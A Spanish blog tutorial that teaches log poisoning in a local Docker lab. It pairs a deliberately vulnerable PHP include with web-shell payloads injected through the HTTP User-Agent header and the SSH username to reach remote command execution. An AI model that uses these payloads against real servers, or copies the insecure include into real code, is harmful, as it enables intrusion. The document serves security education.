Guía Básica de Log Poisoning: Qué Es y Cómo Protegerte

8/31/2024

 

Que es el Log Poisoning?

¡Hola de nuevo, querid@ amig@ al otro lado de la pantalla! Hoy he estado estudiando una técnica de explotación que me ha parecido sumamente interesante, así que he decidido compartirla contigo. ¡Vamos a ello!

El Log Poisoning es una técnica de ataque en la que un atacante manipula los archivos de registro (logs) de una aplicación web para lograr fines maliciosos. Esta técnica puede utilizarse en conjunto con una vulnerabilidad LFI (Local File Inclusion) para ejecutar comandos remotamente en el servidor.

En esta guía, exploraremos cómo envenenar los archivos btmp de SSH y access.log de Apache, comenzando por explotar una vulnerabilidad LFI para acceder a estos archivos de registro. Una vez que logremos acceder a ellos, te mostraré cómo manipularlos para incluir código malicioso.

Para prevenir el Log Poisoning, es crucial que los desarrolladores limiten el acceso a los archivos de registro y se aseguren de que se almacenen en un lugar seguro. Además, es fundamental validar correctamente la entrada del usuario y filtrar cualquier intento de inyección maliciosa antes de registrarla en los logs.

Desplegando el laboratorio

Comenzaremos desplegando nuestro laboratorio en Docker para realizar estas pruebas en un entorno controlado. Si no sabes como hacerlo no te preocupes, solo tienes que tener docker instalado en tu sistema operativo linux y seguir estos comandos:

Vamos e empezar creando una imagen con la ultima versión de Ubuntu:
 
docker pull ubuntu:latest

Como vamos a estar jugando con el servicio Apache en el puerto 80 y el servicio SSH por el puerto 22, vamos a crear un contendedor interactivo, en segundo plano, activando un port forwarding  para que el puerto 80 de la maquina sea también nuestro puerto 80 y lo mismo con el puerto 22.

docker run -dit -p 80:80 -p 22:22 --name logPoisoning ubuntu

Una vez creado nos metemos con una bash

docker exec -it logPoisoning bash

Como siempre que queremos instalar programas en nuestro contenedor nuevo empezamos con un `apt update` y en esta ocasión instalaremos apache2, ssh, nano y php. Por tanto:

apt install apache2 nano php ssh -y

una vez instalados, activaremos los servicios de apache y ssh. Por tanto:

service apache2 start

service ssh start

Con estos dos ultimos comandos ya tendríamos nuestro contenedor con el puerto 80 y el puerto 22 activos

Ejecutando el Log Poisoning en Apache

 Empezamos dirigiéndonos a la ruta `/var/www/html` y borraremos el archivo `index.html` que viene por defecto para crear nosotros uno para nuestro ejercicio llamado `index.php` que se encargue de, mediante include, incluir un archivo de la maquina. El cual vamos a controlar desde el parámetro `filename`

<?php
        include($_GET['filename']);
?>

En este punto podríamos hacer una prueba yendo a nuestro navegador y escribiendo `http://localhost/index.php?filename=/etc/passwd` y vemos que efectivamente nos lista el contenido del archivo. Ya tenemos todo listo y funcionando !
El objetivo es apuntar a un log, pero tendremos que forzarlo.
Para lograr el objetivo, lo primero es comprender que en los sistemas Linux, existe una ruta donde se almacenan los logs en varios directorios. Como nosotros estamos montando nuestro servidor con Apache tenemos que acceder al directorio del mismo nombre y leer el archivo `access.log`


En este archivo podemos ver los registros de las peticiones que se hayan hecho al servidor, independientemente del código de estado que devuelva.
Si ya hubiéramos logrado explotar una vulnerabilidad Local File Inclusion podríamos tratar de  listar el contenido del archivo `access.log` utilizando el navegador, de esta forma, podríamos ver todas las peticiones en la misma pagina web. (Yo he pulsado `Ctrl+U` para visualizar la web en modo código fuente, así se ve mas organizada la información)

Como podéis apreciar, entre otros contenidos también nos esta listando el User-Agent. Entonces a modo de prueba vamos a tramitar una petición por GET utilizando la herramienta Curl mediante el siguiente comando en nuestra maquina apuntando a nuestro servidor local utilizando el parámetro -H y modificando el contenido de User-Agent para ver que sucede.

curl -s -X GET "http://localhost/probando" -H "User-Agent:NetRunners"

Vaya ! vemos que aunque no exista la petición, en los logs que estamos visualizando efectivamente se representa ese contenido.
Sabiendo que es una web en php, que pasaría si lográramos infiltrar codigo php en este campo? Efectivamente, podríamos ejecutar comandos.
Pues bien, una vez entendiendo esto, que creéis que sucederá si tramitamos la siguiente petición con curl:

curl -s -X GET "http://localhost/probando" -H "User-Agent: <?php system('whoami'); ?>"

Exacto! Podemos comprobar que estamos ejecutando comandos de manera remota, y que somos el usuario www-data
Resultaría interesante contemplar un campo de User-Agent como código de php que nos permita controlar nosotros el comando que queramos ejecutar. Para ello vamos a crear un codigo php que nos permita introducir comandos mediante el parámetro `cmd`

curl -s -X GET "http://localhost/probando" -H "User-Agent: <?php system (\$_GET['cmd']); ?>"

Lo lanzamos, y al revisar los logs vemos que... no aparece nada...
Pues bien, esto es por que el código en el User-Agent que hemos inyectado lo que ejecuta es una función que existe para ejecutar un comando el cual nosotros controlamos con `cmd` tenemos que escribir el `cmd`. Para ello nos vamos a la barra del navegador y escribiendo `&cmd=comando` la maquina victima nos lo va a ejecutar. En mi caso voy a probar con id

y vemos que efectivamente hemos envenenado los logs y nos están devolviendo información que no deberíamos poder estar viendo:

Podemos incluso a tratar de listar el contenido de archivos o directorios con `cat` y `ls`

Y efectivamente, vemos que nos los representa !

En este punto ya estaríamos ejecutando comandos de forma remota y exitosa, pudiendo escalar privilegios y ganar acceso total a la maquina y a la base de datos.
Vamos ahora a tratar de explotar esa vulnerabilidad en SSH.

Ejecutando Log Poisoning en SSH

Para envenenar los logs de un servicio ssh debemos tener en cuenta que debemos apuntar a un archivo diferente. Para reconocerlo y tenerlo localizado vayámonos a la ruta `/var/log` de nuestro contenedor Ubuntu y en ella podemos ver un archivo llamado `btmp`

Me gustaría mencionar que para ssh quizás pudiéramos encontrar este archivo bajo el nombre de `auth.log` pero últimamente también podemos encontrarlo bajo el nombre que mencionamos `btmp`
Si listamos su contenido con `cat`, vemos que el archivo actualmente esta vacío.
Vamos a asignarle permisos de lectura a este archivo

chmod +r btmp

Ahora desde nuestra maquina, vamos a establecer una conexion ssh a la ip del contenedor introduciendo una contraseña cualquiera, da igual que sea incorrecta. Lo importante es que estamos generando así un log en el archivito `btmp`

ssh prueba@172.17.0.2


Lo dicho, tras intentar realizar la conexión, volvemos a nuestro contenedor, le pasamos un `cat btmp` y podemos ver como el archivo ya no esta vacío y vemos como, aunque no exista, nos esta representando el usuario. Imagino que ya os imagináis por donde van los tiros, no ?

Exacto, podemos tratar de inyectar código en el campo de usuario al realizar la conexión y la maquina victima lo va a interpretar, por tanto, si en lugar de un nombre de usuario pusiéramos un código php que nos permita ejecutar comandos a través del parámetro `cmd` como hicimos anteriormente. Nos permitiría volver a ejecutar comandos de forma remota en la maquina victima pero con la diferencia de que esta vez lo estamos haciendo a través de una conexión ssh.

ssh '<?php system($_GET["cmd"]); ?>'@172.17.0.2

Y ya podriamos utilizar el cmd desde la barra del navegador con` &cmd=comando`


Si en nuestra version de linux no funciona podriamos crear un script en python con el siguiente codigo:

 " import paramiko ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect('172.17.0.1', username='', password='cualquiercosa')"


¡Espero que hayas completado todos los pasos y llegado hasta aquí!

Como siempre, te animo a practicar hasta tener los conceptos bien claros.

¡Nos vemos en la próxima entrada!



You Might Also Like

0 comentarios

Like us on Facebook